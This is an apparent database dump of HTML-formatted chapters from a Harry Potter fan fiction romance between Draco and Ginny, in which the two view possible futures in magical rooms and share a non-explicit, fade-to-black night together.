respond. He couldn\'t stay any longer. He grabbed Nicolae by the arm and pulled him toward the door.</p>\n\n<p>Nicolae looked very confused. &quot;What\'s going on?&quot;</p>\n\n<p>Draco pulled a pouch out his pocket and emptied twenty galleons into Nicolae\'s hand. &quot;Let her go home.&quot; Draco looked sternly into his eyes. &quot;Don\'t ever see her again.&quot; Nicolae nodded, and Draco walked out the door. The room turned back to white.</p>\n\n<p><i>Ginny cried. She had just broken off her engagement to Neville, and she couldn\'t respond to Draco. Seamus had declared his feelings for Dean a year ago, Colin had never been an option, and Harry\'s heart had lied elsewhere. Being with Draco had been different, and that\'s why she couldn\'t respond to his letter. That\'s what it really was. She told herself that her family and friends wouldn\'t support her, that he could be taking a dark path, or that she was never really important to him, but in the end it all came down to that. Ginny knew that if she responded to Draco, this era of crushes and flighty dating would be over, and that scared her. She knew she\'d have to be serious with him if she responded, so she didn\'t.</i></p>\n\n<p>Ginny left the room.</p> '),
	(155, 17, ' <p>Chapter 17 - Forgetting Forever</p>\n\n<p>Draco and Ginny stepped out of their rooms at approximately the same time. It was too late to try other rooms, and they were both very hungry. Returning to the inn, they found a house-elf making the bed. Draco approached him. &quot;Where can we find food around here?&quot;</p>\n\n<p>The house-elf folded his hands in front of himself. &quot;I deliver the foods also, sir. Did you wants some?&quot;</p>\n\n<p>Ginny nodded. &quot;Definitely. What do you have?&quot;</p>\n\n<p>They ate turkey with plum pudding and butterbeer as they sat on the couch. As they finished their meals, Ginny shifted to look at him. &quot;What did you see in your rooms?&quot;</p>\n\n<p>Draco hesitated. &quot;The first one?&quot;</p>\n\n<p>Ginny nodded. &quot;Sure.&quot;</p>\n\n<p>&quot;I worked with my father in his company.&quot;</p>\n\n<p>Ginny looked hopeful. &quot;And?&quot;</p>\n\n<p>&quot;And I was married to Pansy.&quot; Draco noticed her expression change.</p>\n\n<p>&quot;Oh,&quot; she said, trying to hide her disappointment.</p>\n\n<p>&quot;I\'ll be forced to marry her at graduation.&quot; Draco nearly winced as he admitted it.</p>\n\n<p>Ginny couldn\'t help but look disappointed now. &quot;Oh.&quot; She looked up at him. &quot;Well,&quot; she hesitated, &quot;unless you don\'t want to marry her...&quot;</p>\n\n<p>Draco grimaced. &quot;Frankly, I\'d rather be shot than marry her, but if I don\'t, I have to give up my position in my father\'s company and break all contact with him. I got to see that, too.&quot; He looked disheartened.</p>\n\n<p>&quot;And then you didn\'t have to marry Pansy?&quot;</p>\n\n<p>&quot;No, I worked for the Ministry.&quot;</p>\n\n<p>Ginny smiled. &quot;That sounds better than a stuffy company, anyway. The Ministry\'s a very respectable place to work.&quot;</p>\n\n<p>Draco shook his head. &quot;Yeah, well, the girl I was with wasn\'t. What about you? Did you run off with that stupid Finnigan boy?&quot;</p>\n\n<p>Ginny\'s eyes narrowed. &quot;Seamus is not stupid. And, for your information, no, I didn\'t.&quot;</p>\n\n<p>Draco prodded for more information. &quot;Oh? Someone must have snatched you up, then.&quot; </p>\n\n<p>She looked at him with a bit of a smile. &quot;Since when would you understand why anyone would want me?&quot;</p>\n\n<p>He scoffed. &quot;Understand? I wasn\'t saying anything about&#8230;&quot; He caught her eyes. His negativity melted, and he felt a strong urge to kiss her then and there. Maybe she did too. Maybe he should...</p>\n\n<p>Draco cupped his hand against Ginny\'s cheek. She rested a little on it, enjoying his touch. As he started leaning toward her, the house-elf returned.</p>\n\n<p>&quot;Ah, is you finished with your foods, sir? Miss?&quot; Draco and Ginny nearly sprung apart. </p>\n\n<p>Ginny moved quickly, smoothing out the wrinkles in her dress, and Draco stood up. &quot;Yes, I think we\'re quite done.&quot;</p>\n\n<p>The house-elf left quickly, and Ginny still sat uncomfortably on the couch. She stood up when he moved to sit next to her. &quot;We should go to sleep, now.&quot;</p>\n\n<p>Draco shrugged and Ginny started getting ready for bed. She fluffed her pillow and turned her back to him as she changed into the most comfortable of her dresses. Draco could see a bit of her bra as she changed &#8211; a piece of shoulder strap and a bit of lace from the side where the cup of her breast began. He groaned quietly. He wanted her. He wanted to tear off her pretty new dress, throw her on the bed and...</p>\n\n<p>&quot;Did you want to use the bathroom, too? She tilted her head as she asked him. </p>\n\n<p>He just wanted to stare at her. &quot;Yeah. Okay.&quot; Draco took a cold shower and went to bed.</p>\n\n<p>The next morning, Draco woke up to Ginny poking him in the chest.</p>\n\n<p>&quot;Morning! I\'ve got bacon and pancakes...&quot; </p>\n\n<p>Draco squinted to look at her and to block the blinding sunlight that was coming from the window behind her. &quot;Pancakes?&quot; It smelled like pancakes. He looked at the plate in her hands. It looked like pancakes. He smiled. &quot;Thank you.&quot;</p>\n\n<p>Ginny felt a tickle in her heart when he smiled and took the plate of pancakes. Where had he suddenly gotten these manners from? She couldn\'t complain; it was nice. She smiled back at him. &quot;You\'re welcome.&quot;</p>\n\n<p>After they\'d eaten, Draco and Ginny entered the octagonal room. Ginny immediately turned to the &quot;Love&quot; room and grabbed the handle. Turning back to look at Draco, she smiled.</p>\n\n<p>Ginny entered the room.</p>\n\n<p>Ginny\'s mind raced in the blank room. What kind of guy would she <i>love</i>? Seamus was sweet, Neville was kind, and Harry was familiar. Dean and Michael Corner were old news, and Draco was... Well, Ginny would find out soon enough. The room had begun showing Hogwarts. Ginny smiled. Hogwarts was decorated for the Graduation Ball. Ginny was dancing with Neville. Ginny\'s heart sank when she saw it. So it was Neville. She sighed. Ginny was wearing a dress she recognized. The green dress Draco had bought her was paired with a set of strappy heels.</p>\n\n<p>Ginny smiled at Neville. He smiled back, then left to join his date as the song ended. Ginny returned to the refreshment table and took a cup of punch. A man walked up behind her and hugged her. Was this him? Ginny grinned as she turned to face him. &quot;You look great, Harry.&quot; </p>\n\n<p>He smiled at her and took a piece of cake from the table. &quot;Thanks,&quot; he replied. &quot;So do you.&quot;</p>\n\n<p>She gave him a sentimental smile. &quot;It\'s going to be weird not seeing you here anymore.&quot;</p>\n\n<p>Harry nodded enthusiastically. &quot;Yeah, it\'s going to be weird not being here.&quot; Hermione called to him. Harry turned and nodded to her. He winked at Ginny. &quot;Don\'t worry, I\'ll be around.&quot; With a smile he left to catch up to Hermione.</p>\n\n<p>So maybe her man wasn\'t Harry. She sighed. She had broken things off with Seamus when they had returned from Lyseria. Ginny hadn\'t been able to give Seamus what he needed in a relationship, but he had soon found someone who could. Seamus and Dean had been together for several months. Ginny finished her punch as a lively song began. She liked this one. Ginny closed her eyes and listened. Within a few moments, she felt a hand on her waist and another on her arm. Ginny felt a deep voice in her ear. &quot;Why aren\'t you dancing?&quot; he asked her.</p>\n\n<p>Ginny turned and faced Draco. He looked really good in his soft black dress robes. &quot;Well, I...&quot;</p>\n\n<p>Draco hadn\'t spoken to her in months. He tilted his head slightly as he looked at her. &quot;I thought you liked dancing.&quot;</p>\n\n<p>&quot;Well, I do, but...&quot; she narrowed her eyes a little. &quot;When did I say that?&quot;</p>\n\n<p>Draco smiled. &quot;You didn\'t. I can just tell.&quot; She tried to hide a smile. He gestured to the dance floor. &quot;Come on.&quot; Draco put his hand out to her. She took it. </p>\n\n<p>Draco had entered his own room. He was sitting on a couch in his two room apartment. His head was in his hands and he looked like a mess. For the past year, Draco had been establishing himself as a researcher in a potions lab and taking classes at a wizarding university in <st1:city><st1:place>London</st1:place></st1:city>. The job was paying for school and just about nothing else. However, that didn\'t matter anymore. Ginny would be graduating from Hogwarts within a few weeks.</p>\n\n<p>Draco took at picture out of his wallet that Colin Creevey had sent to him after Draco had left Hogwarts. If Colin\'s hobby had never seemed worthwhile, one thing Draco approved of was taking pictures of Ginny. Draco studied the photo. Ginny sat in an armchair in the Gryffindor common room. Draco, watching, recognized this photo as the same one he had seen in the &quot;Power&quot; room. He worried. Was this the love he was destined to have- endless and unrequited?</p>\n\n<p>He had thought everything through. Getting off the couch, Draco took some heavy parchment and ink from his desk. Sitting down, he began to write.</p>\n\n<p><i>My Dearest Ginny,</i></p>\n\n<p><i>I know it\'s been a long time since we\'ve spoken, and I hope you\'re doing well. I don\'t know what you\'ve heard or if you\'ve heard anything of me, but I\'m fine. Meet me at Platform 12 at King\'s Cross once you arrive after graduation. I need to see you.</i></p>\n\n<p><i>Draco</i><i></i></p>\n\n<p>Draco led Ginny to the dance floor. He kept her hand in his and put the other on her waist. He was an exceptional dancer, which came as no surprise to Ginny, due to his upbringing. Ginny giggled as he spun and dipped her. They must have drawn a bit of attention, but neither of them cared. Soon the song ended, and the two of them separated.</p>\n\n<p>The new song was a slow one. Ginny shifted uncomfortably for a moment, and was opening her mouth to suggest that she could go back to the refreshment table when he took her hand again. She looked up into his eyes as he spoke. &quot;Dance with me.&quot; He pulled her close to him. Suddenly, Ginny\'s heart was beating faster than it had when he had been spinning her. </p>\n\n<p>It was far too overwhelming. His arm was around her waist, her hand was in his and the look in his eyes made her want to confess every warm thought she\'d ever had of him. She almost did, but he pulled her closer and she began to worry. Why couldn\'t the situation be easier? He would be gone in a few days and she might never see him again. If she could... </p>\n\n<p>&quot;Come with me,&quot; he told her.</p>\n\n<p>Come with him? Where? When? How could she... &quot;Come with you?&quot; she asked. He was already leading her away from the party and out the doors of the castle. It was a little chilly outside, so he placed his cloak over her shoulders and pulled her toward him.</p>\n\n<p>All this was so unexpected. They hadn\'t spoken to each other since they had left Lyseria, and now all this... Ginny had thought that maybe she had just been one of his conquests, a fleeting interest that wouldn\'t last. But she hadn\'t forgotten about him. It seemed he hadn\'t forgotten about her...</p>\n\n<p>Draco had owled Ginny his letter a week ago. He paced as he waited at the train platform. The Hogwarts Express should have arrived five minutes ago, but Draco had seen no sign of Ginny. He sunk into a black metal bench and sighed. Maybe she wouldn\'t come. He couldn\'t blame her if she didn\'t. He hadn\'t seen her since the Graduation Ball last year, so why would she? She could have a boyfriend, or, worse, a fianc&#233;. He should just give up on her.</p>\n\n<p>&quot;Do you always look this upset when you ask someone to meet you?&quot; Draco looked up. Ginny smiled and her head was tilted a little to the left in the way it always had when she was making fun of him.</p>\n\n<p>He stood up. &quot;No, not usually.&quot; Ginny threw her arms around Draco\'s neck and rested her cheek against his shoulder. He held her and moved her to face him as he wove his fingers through her hair. &quot;How have you been?&quot;</p>\n\n<p>Draco studied her as she spoke. &quot;Could\'ve been better.&quot;</p>\n\n<p>&quot;I\'ve had a lot of time to think recently.&quot;</p>\n\n<p>&quot;And?&quot; she asked him.</p>\n\n<p>&quot;And I\'ve thought a lot about you.&quot; Ginny expected him to shift his eyes from her when he had said that, but he looked at her all the more intensely.</p>\n\n<p>She looked teary. &quot;I thought I\'d never see you again.&quot; She closed her eyes. &quot;I didn\'t date, I couldn\'t, but Neville asked me to marry him.&quot;</p>\n\n<p>Draco shifted his eyes then. </p>\n\n<p>&quot;He sent me letters and visited on holiday.&quot; </p>\n\n<p>He couldn\'t blame her. He\'d told himself this could happen. Draco hadn\'t married Pansy, had given up his place in his father\'s heart and his father\'s company and was working his way through University. He had given up his fortune for a chance at a future with her, and now she was engaged. He thought about leaving. Draco looked at her one last time and walked back toward the station.</p>\n\n<p>A cool wind whistled around Draco and Ginny outside the castle. &quot;I thought,&quot; Ginny began. &quot;I thought we agreed to forget about everything in Lyseria. I thought we agreed to forget about each other.&quot;</p>\n\n<p>&quot;But you haven\'t.&quot;</p>\n\n<p>&quot;No,&quot; she admitted.</p>\n\n<p>Draco smiled and kissed her. It brought her back to the inn and the woods and the dress shop and everything that made her think of him. It had been torturous to see him walk past her without even a hint of a smile, to see him and Pansy together and pretend she didn\'t care. Now it was all right. Ginny fell into the kiss. Who could ever make her feel that way but him? She enjoyed the chill of the night and the warmth of him. Ginny imprinted the feeling in her mind for fear that she may never see him again. He broke the kiss and held her hand.</p>\n\n<p>&quot;My father insists that I marry Pansy by the end of the summer and begin work in his company immediately when I return home.&quot;</p>\n\n<p>Ginny lowered her head.</p>\n\n<p>&quot;That\'s why I\'m not going home.&quot;</p>\n\n<p>She looked up. &quot;You\'re not?&quot;</p>\n\n<p>&quot;No.&quot;</p>\n\n<p>Her voice was quiet. &quot;Where then?&quot;</p>\n\n<p>&quot;I don\'t know,&quot; he told her. &quot;I just wanted to say goodbye.&quot;</p>\n\n<p>&quot;So, I won\'t see you again?&quot; Ginny looked pained. &quot;Ever?&quot;</p>\n\n<p>Draco held her closely and whispered in her ear. &quot;It\'s best for both of us, you\'ll see. Maybe someday...&quot; He pulled a velvet pouch from his pocket. &quot;Here.&quot; Draco placed it in her hand and disappeared back into the castle.</p>\n\n<p>Ginny paused, trying not to cry. He was gone. Ginny snuggled into the garment over her shoulders. He had left his cloak on her, and the smell his cologne lingered there. She sighed. Pulling open the pouch, she found three things. First was the amulet. It was as black now as it had been when she had first found it. Slipping it into her pocket, she moved to the next item- a necklace she recognized. Her features softened as she held it. Draco had reacted as if he\'d known the Periclitari necklace from someplace else. It had seemed so important to him...</p>\n\n<p>The last thing in the pouch was a note.</p>\n\n<p><i>My mother received this necklace as a gift from my father. She wouldn\'t have sent the Periclitari if she hadn\'t wanted me to have it. I want you to have it.</i> Ginny shook as she read it. <i>In case we don\'t meet again... I love you, Ginny.</i></p>\n\n<p>Walking up to the castle wall, she slid down into a seated position. Wrapping her arms around her legs, Ginny\'s head sunk. How was she supposed to forget him now? He loved her... Ginny pulled Draco\'s cloak around her and cried. The room changed to white.</p> '),
	(155, 18, ' <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>Chapter 18-&nbsp; In Eternal Whiteness</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny left the &quot;Love&quot; room and walked back to room 16 of the Blue Shutter Inn.&nbsp; It was nighttime already, and her head hurt from thinking through all her worries.&nbsp; Ginny fell onto the bed.&nbsp; As thoughts raced through her mind, she nearly started to cry.&nbsp; Was she destined to be in love with a man who couldn\'t be with her?&nbsp; Furthermore, was she really going to love Draco?&nbsp; Ginny scoffed to herself.&nbsp; Her friends would never accept him, her family would worry that he\'d treat her badly and he <i>was</i> an arrogant prat.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then, Ginny\'s eyes softened.&nbsp; Draco was proving to be more caring than she had thought.&nbsp; He had carried her up the hill when she had fallen, had given her his cloak when her clothes tore and had slept on the couch for several nights.&nbsp; Ginny cuddled a pillow on the bed.&nbsp; Draco may not have been the most tactful person in the past, but at least she knew anything nice said was sincere.&nbsp; His confidence <i>was</i> kinda sexy, and that body...</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny stopped herself.&nbsp; What was she thinking?&nbsp; She couldn\'t fall for him even if she wanted to.&nbsp; They couldn\'t be together, and she would have her heart broken.&nbsp; She wouldn\'t let that happen.&nbsp; But the way that he kissed her...</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Thinking of me?&quot;&nbsp; Draco smirked, pointing to the pillow Ginny was currently wrapped around.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;No.&quot;&nbsp; Ginny replied defensively, throwing the pillow to side and off the bed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;It\'s all right,&quot; Draco grinned.&nbsp; &quot;I don\'t mind.&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny shook her head and went to her dresser for a comb.&nbsp; Ginny combed her hair as she sat on the bed, and Draco sat next to her.&nbsp; Laying back, his arms rested behind his head.&nbsp; His pose reminded her of a sprawled, sleepy cat.&nbsp; &quot;Comfortable?&quot; she asked.</p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco\'s room had continued years past the train station.&nbsp; Was he destined for a life like the one he had seen?&nbsp; It had seemed to be such a difficult journey to him.&nbsp; Infuriating his father, giving up his place in the company, forging a life on his own...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Was all this trouble just so he wouldn\'t marry Pansy, or was it for something else?</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco stopped his daydreaming for a moment to watch her comb her hair to a shine.&nbsp; <i>Someone else?</i> he thought. Just when Ginny thought he hadn\'t been listening, he spoke.&nbsp; &quot;Yes, I think so.&quot;&nbsp; He continued to stare at her blankly.</p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He could reason that it was for himself, that he needed to be independent, to create a life of his choosing.&nbsp; He could argue that he hated his father, hated Pansy, and that he was just avoiding them, but he could have worked for the Ministry, like in the &quot;Independence&quot; room, for that. </i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Are you all right?&quot;&nbsp; She tilted her head and moved her face into his line of vision until he was forced to focus on her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>This was different.</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Huh?&quot;&nbsp; Draco looked as if his mind was currently on another planet.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;I asked if you were all right.&quot;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That seemed to register with him.&nbsp; <i>If it was or wasn\'t for Ginny, he couldn\'t say.</i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Oh.&quot; He nodded.&nbsp; &quot;Yeah.&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>She was so beautiful.&nbsp; From the top of her head to the tips of her delicate toes, she was beautiful.</i>&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guys had been saying things like that about Ginny Weasley since fifth year, but Draco had always scoffed at that.&nbsp; He had never really looked at her (Why would he?), which was unfair, but made it a lot easier for him to dislike her.&nbsp; He hadn\'t wanted to see her, but now...now he wasn\'t sure if he wanted to go a day without at least a glimpse of her.&nbsp; Draco found himself touching her hair.&nbsp; It was so soft.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny looked at him curiously.&nbsp; &quot;Are you sure you\'re all right?&nbsp; What are you doing?&quot;&nbsp; Draco was still running his fingers through her hair. &nbsp;&quot;Malfoy?&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He shook his head.&nbsp; &quot;Draco,&quot; he said.&nbsp; &quot;Call me Draco.&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He hadn\'t stopped playing with her hair when he said it, never shifting his eyes to her face, but Ginny felt a strong chill throughout her body. Ginny had never seen him like this before.&nbsp; She trembled.&nbsp; It scared her but excited her at the same time. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;She spoke in a sweet, hushed voice.&nbsp; &quot;Draco.&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco\'s intense eyes shifted to hers.&nbsp; He scooped her body into his arms, pulling her closely against him.&nbsp; His hand wove through Ginny\'s hair as he looked into her eyes.&nbsp; Adrenaline ran through Ginny\'s body as she cupped his cheek with her hand.&nbsp; She knew he wanted her, so why was she so scared?&nbsp; Ginny closed her eyes to kiss him, but she froze.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco didn\'t understand.&nbsp; Maybe she didn\'t really want this.&nbsp; He looked into her tortured eyes and sighed.&nbsp; Releasing his hold on her, Draco left the bed and stood up.&nbsp; He ran a hand through his hair and was about to go sit on the couch when he realized that Ginny was standing next to him.&nbsp; There was a determined look in her eyes that conveyed more than she was able to say.&nbsp; Holding the back of his neck, Ginny kissed him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A flood of emotion ran through him as she wrapped her arms around him.&nbsp; He loved her, and even if he couldn\'t tell her, he\'d show her the best he could.&nbsp; Draco\'s lips just brushed hers, making Ginny shudder, and a little sigh escaped her lips as he kissed down her neck and across her collarbone.&nbsp; She kissed him softly.&nbsp; Shivers ran down Draco\'s spine as her fingertips traced his sides and arms.&nbsp; Draco sat them both down on the bed, and Ginny removed his shirt.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sighing, she moved her hands across his chest.&nbsp; Draco kissed her, then his eyes met hers with a question as he thumbed a strap of her dress.&nbsp; He kissed down her arm.&nbsp; &quot;It\'s okay,&quot; she whispered to him.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He kissed up to her ear. &quot;You sure?&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny\'s voice lowered to a sultry whisper that no one would have expected from her.&nbsp; &quot;Draco...&quot; She kissed him and turned so he could see the lacing on her dress to untie it.&nbsp; &quot;...it\'s okay.&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The sound of her voice sent a chill through him.&nbsp; Where had this seductress come from?&nbsp; He unlaced her dress, noticing the curve of her back, and the dress slid off her shoulders.&nbsp; He marveled at her softness, the freckles across her shoulders, the curve of her waist.&nbsp; Draco pulled her against him and nibbled across her shoulder.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny had never felt this way before.&nbsp; Heat spread through her body at his touch, and she gave into the pleasure he gave her.&nbsp; Ginny wrapped her arms around him as Draco turned off the light.</p>\n\n<p>______________________________</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny woke up to sunshine streaming through the window.&nbsp; Yawning, she stretched her arms.&nbsp; There was one thing this morning that was different from other mornings.&nbsp; This morning, Ginny had woken up cuddled in the arms of Draco Malfoy.&nbsp; Ginny giggled to herself.&nbsp; Draco Malfoy.&nbsp; She kept repeating his name in her mind, as if the repetition would keep this feeling forever.&nbsp; Draco Malfoy.&nbsp; She giggled again.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;And what could possibly be so funny this early in the morning?&quot;&nbsp; Draco asked, pushing hair out of his eyes.&nbsp; After noticing the extremely cuddly position he was in, he drew away and propped himself up on his side.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny pulled the bedsheet up to her shoulders and grinned.&nbsp; &quot;Good morning,&quot; she spoke cheerfully.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco looked her up and down.&nbsp; &quot;You\'re choosing to be modest <i>now?</i>&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She stood up, taking the sheet with her.&nbsp; &quot;Well you don\'t just expect me to parade around naked, do you?&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco grabbed a towel, preparing for a shower.&nbsp; &quot;I don\'t see why not.&quot;&nbsp; He smirked, almost slyly at her before locking himself in the bathroom.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Raising her arms up as wings, Ginny fell backward onto the bed.&nbsp; She wondered.&nbsp; Was anything going to change after what happened last night?&nbsp; What did Draco really feel toward her?&nbsp; Was she merely an object of his desire or did he really care about her?&nbsp; Ginny had tried to suppress her feelings for him.&nbsp; A life with Draco would be nearly impossible, yet...&nbsp; She remembered the &quot;Love&quot; room.&nbsp; He did love her, or, at least, he would.&nbsp; How would she feel about him if she gave into her emotions?&nbsp; Even now, her heart raced when she was near him.&nbsp; How would things change when they went home?</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco appeared from the bathroom, mopping his hair with a spare towel.&nbsp; Ginny took her turn as Draco got dressed in the main room.&nbsp; Sitting on the couch, he pulled a small piece of parchment from his pocket.&nbsp; &quot;Your turn.&quot;&nbsp; His mother always had been crafty.&nbsp; She had sent him to Lyseria to teach him a lesson about himself and she\'d done it.&nbsp; Draco knew what he had to do, now.&nbsp; It was time to go home.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny wore her yellow dress, and her combed, wet hair began to dry as it laid upon her shoulders.&nbsp; She turned toward the mirror as she smoothed her dress, then turned to Draco.&nbsp; &quot;Ready?&quot; she asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Of course.&quot;&nbsp; Draco stuffed the scrap of parchment into his pocket as he stood up.&nbsp; He and Ginny walked into the octagonal room.&nbsp; It was different now.&nbsp; The words marking the doors were gone, and the riddle across the top of the room was illuminated as if by firelight.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny turned to Draco.&nbsp; &quot;Do you think this is it?&nbsp; Do you think we\'ll go home, now?&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco spoke in a slightly bitter tone.&nbsp; &quot;That anxious to get rid of me?&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The way she looked at him conveyed her mixed feelings as she placed her hand softly on his shoulder. &quot;Well, I just...I...&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Come on.&quot;&nbsp; Draco walked away from her hand and toward a blank door.&nbsp; He looked back at her with impatience.&nbsp; &quot;Come on!&quot;&nbsp; Ginny hurried in behind him as he opened the door and walked inside.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The room was white.&nbsp; Nothing was different about the beginning of this room than the beginnings of the others.&nbsp; Well, nothing except that this time they were together.&nbsp; And, this time, the room wasn\'t changing.&nbsp; Endless whiteness, nearly blinding in its clarity, surrounded them.&nbsp; Ginny stood out in her yellow dress and Draco more so in his black cloak, but nothing else could be seen.&nbsp; Ginny looked at Draco with a face that tried to mask her worry.&nbsp; &quot;Why isn\'t it changing?&quot;&nbsp; She looked around for a sign of something, anything, in the room.&nbsp; &quot;What are we going to do?&quot;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco stood for a moment, then put out his hand for her to take.&nbsp; &quot;Come with me.&quot;&nbsp; She did.&nbsp; They walked directionlessly for what seemed like an eternity.&nbsp; Ginny was about to cry when they saw a black dot in the distance.&nbsp; Draco watched open mouthed as Ginny sprinted forward. &quot;WEASLEY!&quot; Draco shouted to a girl so far away, already, she couldn\'t hear him.&nbsp; Draco ran after her.&nbsp; Slowly the dot came into focus.&nbsp; Ginny had stopped, confused, and Draco caught up. 